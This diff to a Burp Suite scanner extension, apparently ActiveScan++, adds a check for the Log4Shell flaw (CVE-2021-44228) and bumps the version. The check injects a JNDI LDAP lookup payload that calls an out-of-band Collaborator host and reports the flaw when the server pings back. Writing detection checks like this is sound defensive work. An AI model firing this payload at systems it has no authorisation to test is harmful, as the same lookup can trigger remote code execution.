|
31 | 31 | except ImportError: |
32 | 32 | print "Failed to load dependencies. This issue may be caused by using the unstable Jython 2.7 beta." |
33 | 33 |
|
34 | | -VERSION = "1.0.22" |
| 34 | +VERSION = "1.0.23" |
35 | 35 | FAST_MODE = False |
36 | 36 | DEBUG = False |
37 | 37 | callbacks = None |
@@ -69,6 +69,7 @@ def registerExtenderCallbacks(self, this_callbacks): |
69 | 69 | callbacks.registerScannerCheck(SimpleFuzz()) |
70 | 70 | callbacks.registerScannerCheck(EdgeSideInclude()) |
71 | 71 | if collab_enabled: |
| 72 | + callbacks.registerScannerCheck(Log4j()) |
72 | 73 | callbacks.registerScannerCheck(Solr()) |
73 | 74 | callbacks.registerScannerCheck(doStruts_2017_12611_scan()) |
74 | 75 |
|
@@ -713,6 +714,25 @@ def consolidateDuplicateIssues(self, existingIssue, newIssue): |
713 | 714 | return is_same_issue(existingIssue, newIssue) |
714 | 715 |
|
715 | 716 |
|
| 717 | +class Log4j(IScannerCheck): |
| 718 | + def doActiveScan(self, basePair, insertionPoint): |
| 719 | + collab = callbacks.createBurpCollaboratorClientContext() |
| 720 | + attack = request(basePair, insertionPoint, "${jndi:ldap://"+collab.generatePayload(True)+"/a}") |
| 721 | + interactions = collab.fetchAllCollaboratorInteractions() |
| 722 | + if interactions: |
| 723 | + return [CustomScanIssue(attack.getHttpService(), helpers.analyzeRequest(attack).getUrl(), [attack], |
| 724 | + 'Log4Shell (CVE-2021-44228)', |
| 725 | + "The application appears to be running a version of log4j vulnerable to RCE. ActiveScan++ sent a reference to an external file, and received a pingback from the server.<br/><br/>" + |
| 726 | + "To investigate, use the manual collaborator client. It may be possible to escalate this vulnerability into RCE. Please refer to https://www.lunasec.io/docs/blog/log4j-zero-day/ for further information", |
| 727 | + 'Firm', 'High')] |
| 728 | + |
| 729 | + def doPassiveScan(self, basePair): |
| 730 | + return [] |
| 731 | + |
| 732 | + def consolidateDuplicateIssues(self, existingIssue, newIssue): |
| 733 | + return is_same_issue(existingIssue, newIssue) |
| 734 | + |
| 735 | + |
716 | 736 | class Solr(IScannerCheck): |
717 | 737 | def doActiveScan(self, basePair, insertionPoint): |
718 | 738 | collab = callbacks.createBurpCollaboratorClientContext() |
|
0 commit comments